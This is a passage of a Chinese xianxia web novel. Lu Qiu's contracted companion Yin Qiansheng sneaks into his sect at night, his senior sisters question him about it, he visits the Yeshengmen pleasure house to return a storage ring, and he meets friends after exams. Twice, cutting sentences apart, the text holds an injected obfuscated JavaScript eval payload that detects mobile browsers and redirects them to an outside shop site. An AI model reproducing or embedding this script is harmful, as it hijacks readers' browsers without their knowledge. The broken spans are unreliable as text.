风刃被冰剑一一破开,碰撞发出的余波使得整个水牢都开始剧烈晃动。陆秋知道这是心魔幻境即将被破坏的前兆,直到最后用冰剑将“云栖月”的喉管刺穿的瞬间,自己脚下一空,便从梦中醒来了。 醒来时发现自己浑身发冷,他疑惑了一瞬,慢慢从床上爬起来,发觉被子不知什么时候掉到了地上,而睡前关得死死的窗户却被风吹得不断啪嗒作响。 兴许是梦中心魔的影响,他慢了半拍才揉着太阳穴默默道:“你出来吧。” 黑暗中没有任何的回应,但一道身影却从中一步步迈出,特殊材料所做的长靴像猫爪垫那样悄无声息的来到陆秋面前。 陆秋眼前还是阵阵发黑,说不上是缺氧还是心魔后遗症,盯着眼前的尹浅笙半晌说不出话。尹浅笙忙把窗户关上免得他受寒,顺便用被子把陆秋裹起来,试试额头温度才像罚站似的立在那里。陆秋感觉双腿还是冰凉的,便抱着腿,拍拍空下来的一块床铺让他坐下聊。尹浅笙坐下还是十分拘谨的,手一直摸着后颈来让自己冷静下来。 “你怎么来了?”陆秋觉得他不主动开口,他们能对坐一夜。 “我不想你生气。”尹浅笙终于把手放了下来,语气里充满担忧:“我想和你说明白。” 陆秋让他打住:“我自己缓缓就好了。” “可那解决不了问题,你是自己想事情。” “那你想怎么解决?” “我听见它出言不逊,心中也愤懑,才想着教训它一下。” “它”不用说,自然是那蜘蛛精,但思来想去尹浅笙无非是更大胆了些,反正清环都说过那家伙都任由他处置,就算当场虐杀也是再正常不过的事情。 陆秋感觉到尹浅笙身上传来的寒意像水滴般浸湿床铺,再加上契约让他也感受到对方真的在愧疚,才别别扭扭的回答他:“你没做错,我一开始没想到要怎样它的,当时受惊才对你……说的那么重的。” 尹浅笙听到这话立刻抬头,眼中的喜悦几乎要溢出来:“真的吗?” 陆秋点头,但瞬间又冷了脸色:“刚刚我陷在心魔中,你做了什么?” “我……”尹浅笙抿唇,声音弱到像是风声拂过耳畔:“我替你梳理了部分灵脉。” 也不怪尹浅笙自己心虚,所谓灵脉,对于修仙者和命脉毫无差别,所以让别人这么一摸,多少还是有些冒昧的。 二人目前的关系还远远未到能够触及灵脉的那种程度,陆秋心烦,但仔细一想刚刚冰剑还算趁手,未尝不是一件好事,也不便多斥责对方了。 “以后不许随便探我灵脉。”陆秋最终还是没能把话说的太重,但又带着警告:“还有,没有我的允许,不许通过契约观察我。” 尹浅笙止不住的点头,点完了,又眼巴巴的等着陆秋发话。 陆秋这才想起来隔壁是清环的房间,他耳力好,而且平日里几乎都是浅睡,尹浅笙就算再怎么敏捷都不可能瞒得过清环。他忙掀开被子,赤脚踩在毯子上往门口贴了几张隔音符,又匆匆回来坐到床上,打算和尹浅笙好好说说。 “你怎么进来的?”陆秋知道落霞宗内没有隐月教的传送阵,推测尹浅笙应该是从西北角楼翻进来的,那里没有值班弟子,而且还有不少落霞宗弟子偷跑出去,尹浅笙想混进来可太容易了。 果然,是几个贪玩的落霞宗弟子偷溜进来时,尹浅笙借着他们闹出的动静悄悄潜了进来,并通过气息一路摸到了他的房间。陆秋叹气,想着有机会一定要给清环说那里的漏洞,不然什么牛鬼蛇神都能混进来,那可太可怕了。 尹浅笙扯了一下他的被角,打断他的走神:“你还生气吗?” “有点。”这会房间温度又上来了,陆秋把被子往下褪了些,闷闷不乐道:“我都没有干涉你的生活,结果你这么密切的关注我,总感觉……”他把后面要说的在嘴中转了一圈,改口称:“不公平。” “我不看了。”尹浅笙又开始摸后颈:“你需要我的话就和我传音。” “嗯。”陆秋自觉跳过了灵脉的事,心魔闹得他十分清醒:“你可别让我同门知道了,不然那地牢就该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395985|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关着你了。” “那我可以打那妖一顿吗?” 哪壶不开提哪壶。陆秋瞪了眼尹浅笙,后者立刻噤声,委屈巴巴的缩回去:“我不打就是了……” “这里怎么说都是落霞宗的地盘,你一个外人是可以被直接击杀的。”陆秋没有夸张,他深知这里规矩的严厉:“而且我也会被问罪丢去地牢的。” “对不起。”尹浅笙耸拉着脑袋:“我不会这么冲动了。” “能改就好。”陆秋点头:“所以你这么晚还来,就是为了让我别生气?” 尹浅笙又点头。 陆秋从心底感到了荒谬与无力,他不忍心让尹浅笙热脸贴冷屁股:“我不气了,也难为你冒着风险跑这么一趟,嗯……”他轻咳:“你在我这里睡一晚吧,明日我带你出去。” 尹浅笙没拒绝,睡到了床外侧,看着陆秋依旧坐在里侧没有躺下,问道:“你不睡吗?” 陆秋本想摇头,但看着对方担忧的眼神只好慢慢躺下盖上被子,低声叹气:“你睡便是,我还不是很困。” 尹浅笙不知是真睡还是假睡,反正不消片刻便没了动静,只余轻微的呼吸声回响在陆秋耳畔。 陆秋睡不着,侧过头望着尹浅笙的睡颜发呆,手指慢慢弹了弹,心里还不断回味着冰灵根的感受。 冰火灵根本不该共存,更何况他在金丹期前还都是单一火灵根,烈到数九寒冬即使只着单衣都会流汗。冰灵根于他而言更像是落在心口的那片雪花,冰了一瞬,随后连融化的水珠都被迅速蒸发得无影无踪。 但今年冬天貌似开始畏寒了。陆秋盯着搭在床边还未来得及整理的衣物,半喜半忧的想着自己还真是和凡人一样了,会被冷热所拿捏,心肠也不似以前那班坚硬。 想到这里,他也躺不下去,翻身轻手轻脚的越过尹浅笙,披上外衣来到主厅,开始记录心法。 可写来写去只能写出“一念之间”,陆秋托腮盯着跳动的火苗,烦闷极了。那冰凌是瞬发的,就如他平时使用的火决,那冰剑也是心下一动而幻化出的兵器。没了尹浅笙的帮忙,他又试了几次也没能成功,只有火焰闪过,或是一把燃烧的短匕。 火焰烧得太过猛烈,呼呼作响,陆秋忙掐断了火,防止打扰尹浅笙的睡眠。万幸里屋只是那人翻身传来的响声,令他放心不少。 他也不是没有查过隐月教的传闻,和尹浅笙所说的大致相符,教主并不关心教会内部,对于弟子都是放养,能把教会开起来还多亏了他们大师兄的良心在撑着,万一哪天大师兄也撂挑子跑了,只怕这群刺客都要跑出来另谋生计了。 但据说教主亲自收的没有几个,碍于他们情报不好探查,书中也只是以“少数”一笔带过,陆秋只能根据平日的收入以及实力来推敲尹浅笙的身份。 尹浅笙并不差钱,他细细盘算着。有哪个刺客能动不动就拿金银打暗器,都当刺客了,一个子都得掰成两半花,肯定没闲心做这些来讨好别人。教主再怎么不闻不问,那他坐下亲收的徒弟也得是比其他弟子高了不止一星半点的。 无论武力还是财力。陆秋抚着心法的封面,回想他和尹浅笙初见之时。那时他已是金丹中期,但未能第一时间发现屋内有人,尹浅笙作为体修,气息隐藏再好也难逃神识的搜索,可偏偏在那个节骨眼上没被发现。心通对体修几乎没有什么用处,因为灵力与体力并不互通,他只能感觉到尹浅笙修为似乎比他低了一级,可论近身,他还得被尹浅笙摁着打。 也多亏了读心术,他才知道尹浅笙心思不纯,觉得自己也是个能依靠的主,便想打好关系。 陆秋冷笑一声,眉头皱得死紧,可能是有了云栖月那样的例子,自己对尹浅笙这想法也没什么感觉了,毕竟都是利用,把规矩定好便是。 这么坐一晚得累死,陆秋又胡思乱想了半晌,在窗外微微透出亮时又回到床上,发现尹浅笙已经从一条睡成了一团,不由失笑,心想不用再给他掖被子,便随意盖了件外衣,闭目小憩。 68. 麻烦(3) 可能是室内燃着的香功效太好,虽说是小憩,可再一睁眼都睡过了晨练。第一时间没有想身边还睡着个人,陆秋只庆幸昨天向上面请了假,今天不必晨练,然后转头和正在盯着他看的尹浅笙直直撞上。 尹浅笙没有躲,而且光明正大和他对视,神色也比昨天好了不知多少,至少面色有了些红润,不再是苍白。陆秋和他对视,又听到对方的心声:“好漂亮。” “漂亮?”陆秋同样在心中回他。但尹浅笙没有回答,陆秋开始怀疑自己这个能力貌似只有素白能听见。又问了几句,对方依旧没有回答,他才慢慢确认下来。 现在要是揭穿貌似也太不留情面,陆秋坐起来,把被子往外掀:“你醒了多久?” “刚醒。”尹浅笙也坐起来。 陆秋打趣他:“我怎么看你这么精神,像是醒了一个时辰了。” “我……我一般也要晨练,要醒得很快。”尹浅笙扭扭捏捏道:“今天起得有些晚了。” 陆秋把中衣合拢,又将被裹在衣服里的头发拨出来:“可能是我的香太好用了,你回去带一些吧。” “不,不了。”尹浅笙面上又是一抹红:“一般气息都是不变的,带回去只怕师兄们再揶揄我。” “还有这种事?”陆秋倒吸一口凉气:“不就是香嘛,换了能有什么好揶揄的?” “就……”尹浅笙也不知道如何作答了,支支吾吾半晌才吐出句:“就是很不一样。” 陆秋不再追问了,而是掐着时间,估摸着同门都离开了这里,才悄悄把门打开,想着怎么把尹浅笙带出去。谁知还没把头探出去多久,扭头就看见清环抱胸笑眯眯看着他,指甲一下下敲着腕上的玉镯:“解释一下吧?” 清环是瞒不住了,陆秋只好把他带到屋里,对瞬间就藏好的尹浅笙无力喊道:“你出来吧。” 尹浅笙小心翼翼的从帘后走出,二人刚一见面,杀意就毫不掩盖的爆发出来,陆秋心累,只能站在二人中间企图挡住他们的对视。 清环笑着,说的话却没这么友善:“昨天的好像不是这个吧?” “昨天?”尹浅笙疑惑的看向陆秋。 陆秋只觉得右眼皮疯狂的跳,只能解释:“不,那个是妖,这个是……” 他看了眼尹浅笙,尹浅笙也在看着他,最终清环带着看热闹不嫌事大的语气默默问道:“这是你相好的?” 随后上下打量着尹浅笙,把对方看得起了一身鸡皮疙瘩:“年龄也太小了吧,而且身量……”他撇撇嘴:“也不行啊。” “不是相好的。”陆秋烦躁的挠头:“关系好的朋友罢了。” “这关系可真够好,半夜三更不走门,还睡一张床。” 虽说是呛陆秋的,但那股杀意就是围绕着尹浅笙,尹浅笙自知不能顶撞了这位大神,只能乖乖听着。 陆秋词穷,只能顺着清环走:“我想把他送出去,师姐你有没有办法?” “你昨晚上来找我,不就没了这顿骂?”清环摸着胸前璎珞的云纹,神色淡淡道:“只有这一次。” 陆秋点头说是,但清环并没理会,而是又问了一遍:“听到没有?” 尹浅笙知道这是给他台阶下,抱拳道谢:“听到了,劳烦前辈指一条路。” 有了清环这一个活靶子,他人的注意便被引了去,陆秋则带着尹浅笙从另外的小路跑出去。到了墙边,尹浅笙在外,陆秋在内与他隔着雕花小窗低声嘱咐道:“你可不能再这么冲动了,想见我就约我出去。” “嗯。” “还有,不许再随便看我。” “嗯。” “下次见。”陆秋摆手,只能在原地目送他。 尹浅笙却没有走,而是低声说了句什么,可以风太大,刮得耳朵都有些疼,让他没能听清。陆秋只能皱眉问道:“什么?” 尹浅笙没有再说话,身形一闪便消失在了窗外。 陆秋又在墙边发呆,直到肩上被拍了一下。他一惊,险些跳起来,却听见一道有一道女声:“在这当望夫石呢?” 定睛一看是秋花,他本放下的心又悬了起来,磕磕绊绊假装不知道:“什么……” “你可别忘了,我的实力和清环可是不相上下的。”秋花叉腰,撞得那几双玉石镯子铛铛作响:“我能看不见你们?” 陆秋自知暴露,只好双手合十恳求道:“师姐!拜托你装作没看见嘛。” “这么大一桩事,要是什么都不知道我可没法装没看见。” 陆秋见有戏,忙拉着秋花跑:“换个地方说。” 秋花拉他去令火堂,按理说任务都接完了,令火堂该没人的,可秋花像是和清环商量好的,两人都在这里等着陆秋解释。 “什么时候认识的?”清环打着哈欠盘问他。 “刚来落霞宗不久……” “哪里人啊?” “隐月教的。” “家里有几人?” “是隐月教亲传弟子。” “哦。”清环不问了,改为秋花来问:“他从哪进来的?” “西北角的角楼。” “你俩真是朋友?”秋花不信:“你俩身上这个味……签契约了吧?” 陆秋点头,没想到竟是气味暴露了他。 “那个地牢里的家伙……谁干的?” “我。” 秋花和清环对视一眼,心中各有考量,清环问他:“你怎知他接近你是没有私心的?” “我……”陆秋心道总不能把自己会读心这事说出来,只好以沉默来应对。 但他的沉默却让对面二人会错了意,秋花忙打圆场:“我们只是担心你被利用,以前也不乏有刺客为让目标放松警惕而假意接近的例子,所以怀疑他的意图。” “我知道。”陆秋闷闷的:“多谢师姐为我考虑。” “那小子的行为太过出格。”清环皱着的眉头一直没能舒展开:“先不说进你房间,他难道不知道落霞宗不是随便进的吗?” “等等。”秋花又转过来了:“那小子不止是亲传吧?” “绝对不是。”清环笃定道:“实力一般,那就是有底气拿定了我们不敢对他怎样。” 二人望向陆秋,让他再细说。陆秋这才意识到自己对对方真是了解甚少,难免心中更堵得慌了:“只知道是他们教主亲自带回去的。” “挺有钱的吧?”清环虚虚瞥过他的手腕:“用银子打暗器,不怎么实用,但能讨人欢心。” 心里的小九九一下被戳中了,陆秋憋的说不出话反驳他,只能垂头听骂。 “按这个情况来看,少说得是个教主的护法。”秋花食指点着下唇思考着:“人家不会是看中你了吧?” “难说。”清环摇头看向陆秋。 陆秋诧异道:“怎么可能,我们只是朋友啊。” 秋花比他更诧异:“哪有朋友送这些啊?” “有啊。”陆秋刚想说褚浣的朋友,却突然想起他们是假道侣,送的那当然也得有什么意义,便一下又没了声。 “算喽,我们也只是提醒你不要让别人乱来,你自己看着办。”清环坐的端正:“在落霞宗三年,我们会保证你的安危,你得多学学人情世故。” “我会的。”陆秋耷拉脑袋。 “好了,不要这么没精神!”秋花突然一拍桌子:“我们晚上还有大事呢。” 陆秋这才想起来:“晚上真的要去夜笙门吗?” “哎呀,早还完早完事嘛。”秋花倒是一点不怕:“还完就回来。” 清环此时却悠悠开口:“晚上……不是个好时机。” “为什么?” “你想想哪里为什么叫‘夜笙门’。” 秋花的表情呆滞了:“哦,我还以为大家晚上都要睡觉……” 清环又安慰道:“没事,杂乱的话也便于你们躲藏。” “没关系,反正也得去一趟,早死晚死都是死,不如早死早超生!”秋花像是给自己打气,然后看向陆秋:“你早点准备,咱俩等天一黑就过去。” 这个“天一黑”可说不准是什么时候,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395986|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正二人换上紫衣时,几乎都要到了落霞宗的入眠时间。陆秋有些不自在的把仅到大腿中部的纱裤往下扯扯,企图不让寒风吹到。他轻抖着问秋花:“师姐,夜笙门暖和吗?” 秋花冻得声音都在颤:“这个你别担心,那可是酒楼,暖饱才能思□□,为了助兴绝对不会让人冻着。” 二人才到夜笙门附近,陆秋就已经开始怀疑是不是走错了地方,他环顾四周,却被一片片的灯火晃了眼。 “快跟紧,这还只是外面呢。”秋花拉着他的手腕,在人潮中坚定朝着中央的高楼走去。随着他们步伐加快,周边低矮的房屋渐渐拔高,上面悬挂的灯笼也有一个变为一串,最多的粗略一数大致有二十多,像帘子般挂在檐上。 本以为越靠近那座高塔人会越少,谁知竟不减反增,几乎挤得走不动道。陆秋心底记着路,由着秋花牵他走向一座赤色长桥。长桥通向一栋花楼,而用“栋”来说貌似不是太合适了。陆秋这才找到了路,意识到自己之前就是站在这里当木桩的,他便悄悄问秋花:“师姐,这花楼有多大?” “三百亩。”秋花和他咬耳朵:“你要是遇着事就往人群藏,别跑,太惹眼。” 陆秋一听脸都绿了,只能再问:“我们要去问素白他们的行踪吗?” 秋花却摇头:“夜笙门根本没有这两人,他们用的是假名。” “那怎么找人,这房间已经有几万间了吧,一间间的找到明天都找不完。” “不急。”秋花拍拍胸脯:“反正他俩穿的那么惹眼,想找不是很容易?”她示意陆秋看看周边的人,陆秋一看,他们衣着非粉即紫,要是有素白那个白孔雀站在那里,那可惹眼得很。 “不对,师姐。”陆秋又扯着秋花的袖子:“他们要是也换衣服呢?”他意有所指,就像此刻二人的着装一样,与落霞宗沾不到一点关系。 “不要担心。”秋花与他胳膊相挽,手中不知从哪儿变出只纸鹤来,将素青的储物戒夹在其中,随后悄悄甩手,就见纸鹤扑棱两下翅膀,摇摇晃晃飞向一个方向。二人紧跟其后,在一众闹腾的人群中显得格格不入,自然引起了某些人的注意。 陆秋还不知发生了什么,秋花便猛地将纸鹤抓在手中,藏得严严实实。与此同时出现在视线中的是一双墨色靴。陆秋心头一紧,抬头与对方对上了视线。 这人一双瑞凤眼,鼻梁高挺,白纱抹额半遮着额心那一点红,放到外面也可以称一声俊朗,可在这美人如云的夜笙门,倒是清秀的别树一帜。他手执长伞,操着一口官话问二人:“二位可是要寻人?” 秋花看他的装扮不像小厮,也不像旁人那样袒胸露乳,心中戒备更甚:“请问阁下是?” 这人笑着回应:“何枫,何必的何,枫叶的枫,在这儿当差的。” 秋花眼珠一转,话锋一转:“我看你也不像是夜笙门弟子,来问我们找何人,只怕……”她作遗憾状:“只怕你帮不上忙了。” “姑娘尽管开口,何某虽说无甚长处,但找人的功夫还是可以的。” “那……”秋花眼神飘向别处:“这里人多眼杂……” 何枫立刻会意,带着他们找到间空房,请二人坐下细说。秋花本和陆秋传音商量要不要把人打晕,但实力悬殊,这人应该少说是个出窍期,统一换成仙修标准,那就是分神期,可不是他们两个金丹期能打得动的,所以打晕的计划宣告失败。 “二位请放心,这里没有其他人会听到。” “我们要找两人,一位名为素青,身着青绿羽衣,行事轻佻;一位名为素白,身着白衣白冠,行事诡谲,不知阁下能否……” 何枫听后一笑:“我知是哪二位了,不知二位又是为了何事而来?” “我们来还东西。” “何某可代劳。” “不劳阁下,我们还有要事相谈。”秋花也笑着拒绝他,实则在偷偷和陆秋传音:“谁知道他会不会拿着就跑,到时丢了还得赖咱们头上。” 陆秋也附和着:“多谢阁下好意,但此事确实要紧,还望体谅。” 69. 麻烦(4) 何枫点点头,起身还和他们解释:“你们所说的二人是少门主,名为谭烨寒,潭烨青,由于在外欠下的情债太多,才会有这么多的假名。” “原来如此。”秋花听到这话更觉得恶心,恨不得此生都不再见那二人。 “不知姑娘是要还何物?” “他……”秋花愤懑的表情露出了一瞬,但又立刻收了回来:“我们是来还储物戒的。” “储物戒中可有什么重要之物?” “尽是些天灵地宝。”秋花如实回答。 “少门主惯喜欢拿这些哄人,你还回去,他也未必会要。” “反正我只求个安心。”秋花有些不满:“拿人手短,我再穷也不要这些东西。” “姑娘心性高洁,何某佩服。”何枫拱手,带二人到五楼一间房前停下:“何某便不打扰几位了。” 屋内没有素青,只有素白,或者说是谭烨寒。他所处的这间屋内依旧是纯白一片,白纱白帘白墙纸,白毯白桌白月光。看得久了难免眼睛疼,陆秋不适的微阖双眼,等着秋花和谭烨寒交谈完离开。 谭烨寒没有一丝意外,平淡的让他们将储物戒放在桌上,却问了陆秋一个意想不到的问题。 “那蜘蛛精呢?” “杀了。”陆秋没有说实话。 谭烨寒全程没有正眼看过二人,他用软布擦拭着羽扇不再追问,反而提醒道:“要走就快走,那家伙见不到你也没了多少兴趣,以后少出现在夜笙门的地盘上。” 听到这话,二人对谭烨寒道了谢,匆忙退出房间,由守在门前的何枫带路离开。 与二人不同,何枫一路都在有一搭没一搭的和秋花聊天,秋花竟也没有拒绝,听得陆秋都担心被有心之人听了去。 “姑娘可是还有什么想吃的?” “我出来得紧急,没带钱。”秋花故意拍拍自己空空的的荷包。 “姑娘可以先借何某的钱,来一次夜笙门不容易,挑些小玩意回去便是。” 秋花对这话貌似很受用:“咱俩还不一定以后见着呢,你不怕我拿钱就跑?” “怎会。”何枫失笑:“一见到姑娘,何某便笃定姑娘不会是这样的人。” 陆秋心里警铃大作,他虽然感受不到何枫身上一丝恶意,但又担心起另一方面来:这个何枫不会是对师姐有意思吧? 秋花与其他纤瘦的女子不同,属于胖得恰到好处的那种类型,长相并不惊艳,但五官大气能够给人平静感,而且性格不错,还好相处。 想到这里,他又担忧的望了眼前面的两人,发现秋花已经开始挑选街边的点心,他突然觉得自己在这里多余了。 清环他是放心的,因为清环心里有数,知道怎么脱身,但秋花给他的感觉总是时不时的靠谱,就怕掉链子,比如上次的秘境。 得亏他没有说出来,不然秋花得翻个白眼,然后嘟囔着:“一次失误让你念叨一辈子。” 秋花把账算得明明白白,最后打了欠条,还拨了根簪子做抵押。陆秋看那簪子眼熟,等回去了才想起,这好像是落霞宗统一发的簪子,但他觉得俗气便一直放在了柜中吃灰。知道他的疑惑,秋花嘴里叼着片云片糕,给陆秋几片,含糊不清解释道:“那个是落霞宗的东西,有代表性,而且不贵,他不还了我也不心疼。” 好嘛,他忘了秋花抠抠搜搜的性格。 这件事算是告一段落,紧接着就是令人头疼的考核阶段,平日不听讲,现在临时抱佛脚天天捧着书念也读不进心里去。 陆秋盘腿坐在书房地板上,手边放了十几本书,但却是丝毫未碰的,清环看着他双目无神的模样忍俊不禁道:“平时不看,现在倒是着急了。” “啊……”陆秋发出意义明确的哀嚎:“我不想考核……” “那不可能。”清环幸灾乐祸:“你不如好好看书来得实在。” “哦。”陆秋单手托着下巴算着日期,今日冬月十一,等考核结束便是冬月十八日,十九日开始约着褚浣他们出来小聚,大致在二十五日前能回到余月。可想的再好也得考核通过,不然只能按照惯例不断重新考核。 现在考核还可以,因为人数多,管制比较宽松,越往后则越严格,更不容易通过。 其实再怎么折磨也不过是几日的时间,而考核结束就可得知是否通过。 体力考核并没有困难,只用能完整跟下来音律即可,但要落在纸面上的考核可谓是痛苦至极。 陆秋感觉笔杆都因手汗滑得握不住,越写越痛苦,本来就没有几个字的答案现在更是一句话磕磕绊绊,不忍细看。 能通过都是他走了大运。陆秋看着交上去的答案,心里都做好重考的打算了,谁知靠着同窗的衬托,硬是让他拿了个“良”的评价。事后他边擦着手心边和清环说起这事,清环却无奈笑道:“全靠你的字好,不然就那个答案,通过是想都不要想的。” “行了,都通过了就能去玩了,要是回宗门住的话可是要记得门禁时间哦。”清环点了一下他的额头:“去玩吧,有事找我便是。” 陆秋给褚浣发着信息,听到这话便问:“师姐不出去吗?” “我过几日要去秘境,这几日得休整。” 褚浣消息回得快,立刻同意今晚出去,不过两人未免有些无聊,便把杜漓也带上了。褚浣精明的很,就算陆秋没和他说云栖月的事,他也不赶着找不痛快,把云栖月给瞒了过去,又让杜漓闭了嘴,把此次小聚安排的明明白白。 地点在落霞宗附近,晚间又飘起小雪,三人找了雅间边聊边等上菜。只能说褚浣的决定很正确,有了杜漓根本不用担心无话可说,因为还没坐下,杜漓一连串的问题就抛了过来,陆秋只好哭笑不得一个个解答。 “你都不和我联系,我当你真回去继承陆家家业了!” 陆秋看他一副哀怨的表情,心里真浮出了几分愧疚来:“当时走的时候没见你,联系自然就断了。” 杜漓委屈的抓着本就卷曲杂乱的头发:“你不会再从褚浣这里找我吗,你只和他说话,都不理我!” 陆秋和褚浣对视一眼,褚浣立刻换上“与我无关”的眼神怼回去,让陆秋自己解释。陆秋心里确实怕杜漓把自己的行踪抖出去,才没有和他联系,他只好敷衍道:“这不是时间紧急……” 好在杜漓也只是不满的哼哼两句,之后又转移到陆秋的现状上:“你怎么想着要进落霞宗的啊?” 还没等陆秋回答,杜漓就自己猜起来:“你不会是单纯想报复那家伙吧?” “那家伙”一听就是云栖月,陆秋连忙否决:“没有的事,你别乱想。” “你只是略有耳闻。”褚浣终于不喝茶了,也加入到他们的谈话中:“滨水宗已经姓云了。” “这么快?”陆秋假装诧异道:“才半年的时间,怎么可能……” 褚浣不屑:“那小子心眼可多着呢。” 杜漓也趴在桌上,脸颊与桌面相贴,挤出块肉来,低声给他说:“还有呢,云家主母前不久仙逝了。” 陆秋脑中突然闪过云栖月与黄琳的交易,他只觉脊背发凉,藏在袖中的手握了又松,询问二人:“那云栖月应当回去办理这件事了吧?” “绝对的啊,事发当天就走了。” “呵。”褚浣冷笑:“事发当天就走,还能把事情提前打理的那么清楚。” 陆秋更不敢吱声了,褚浣这话意有所指,与他心里推测的应该差不了多少,只能再试探性的询问:“主母是怎么……” 杜漓也皱眉:“据说是旧疾复发。” “什么旧疾?” “当年和她姐姐出去历练留下的伤。” 主母的姐姐是云栖月的生母。陆秋心里有了底:“她都是主母了,难道没有想着治疗吗?” “一直在治呢。”褚浣瞟了眼陆秋放在桌上的手:“指甲没做吗?” “刚卸了不久。”陆秋回答他,又问:“你们什么时候开始放年假?” “腊月二十七。” “这么晚?” “能放就不错了,又不是谁都能有落霞宗的待遇的。”褚浣叹气 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“我刚进去一个月,因为寝室不整而被罚抄了十几遍书。” “你房间得有多乱……” “第一次是因为被子叠好后朝向错了,后面是鞋子摆放没有放在一条线上,毯子下有几根头发,没有点熏香,手帕搭在置物架上,衣服晾在衣架上……” “衣服为什么不能晾在衣架上?”杜漓发出尖叫。 “因为规定要叠放到衣柜中。” 褚浣轻飘飘的阴阳怪气道:“我觉得为了这么好的条件,这点小小的困难对杜漓来说简直不值一提。” 杜漓头都摇成了拨浪鼓:“不不不,不必了,我还是在滨水宗呆着吧。” 考核结束的陆秋一身轻松,考核闭眼都能过的褚浣已经给自己放了假,只有杜漓嗷嗷哭着回去复习,结果被褚浣一句“别打扰我”把话都堵了回去。 临走前杜漓还泪眼汪汪的看着陆秋,询问以后还有没有机会见面,陆秋连连敷衍说有缘自会再见,让杜漓哭得更大声了。 掐着门禁的时间,陆秋跑得几乎出了残影才在熄灯前一刻关上寝室的门,又摸黑把发饰放到桌上,才突然嗅到一阵冰霜的气息。那气息对他来说貌似并不陌生,当对上在黑夜中泛着金光的那对眸子时,陆秋呆滞一瞬,火气立刻涌上心头:“你又来做什么?” 柳容柯坐在桌与床间的椅子上,陆秋过不去,只能站在原地抱胸看他要整什么幺蛾子。 “托人转交东西。”柳容柯从怀中摸出个小瓷瓶递给陆秋,陆秋先看了那小瓶两眼,才伸出手接过:“里面是什么东西?” “陆前辈要的。” 陆秋半信半疑:“我爹找你要什么东西?” 柳容柯也懒得解释,只是给了他,后打着哈欠说:“反正是给你用的,你去问呗。” 陆秋一转储物戒,瓷瓶就被收了进去,他的语气并没有任何放松,甚至还有些咄咄逼人的意味:“还有什么事?” “嗯……”柳容柯的声音听起来比往常少了些精神:“我可能要短暂的休整,你有事的话我也不一定能出现。” 陆秋一听便知道怎么回事,冷笑道:“不就是冬眠嘛,还休整呢,你在这给我装什么要事在身。” 柳容柯没再答话,呼吸间就消失的无影无踪,但消失得再快也无法掩盖自己的恼羞成怒。陆秋猛然闻到了不易察觉的清苦气息,只存在了数个呼吸间,便和柳容柯一同消失。 总不能是体香吧。陆秋嘴角抽搐着,心想柳容柯都已经化龙了,体香不该是龙涎香吗,但细细一想发现龙涎貌似也挺恶心,还不如这个清苦味。 他睡不着,所以立刻给陆夕月发了信息,询问他从柳容柯这里要了什么。陆夕月虽说是滨水宗的弟子,但作息可以和夜笙门的相媲美,真正做到日不落,他不醒,月不升,他不起,现在天黑的伸手不见五指,回信息倒是一比一的快。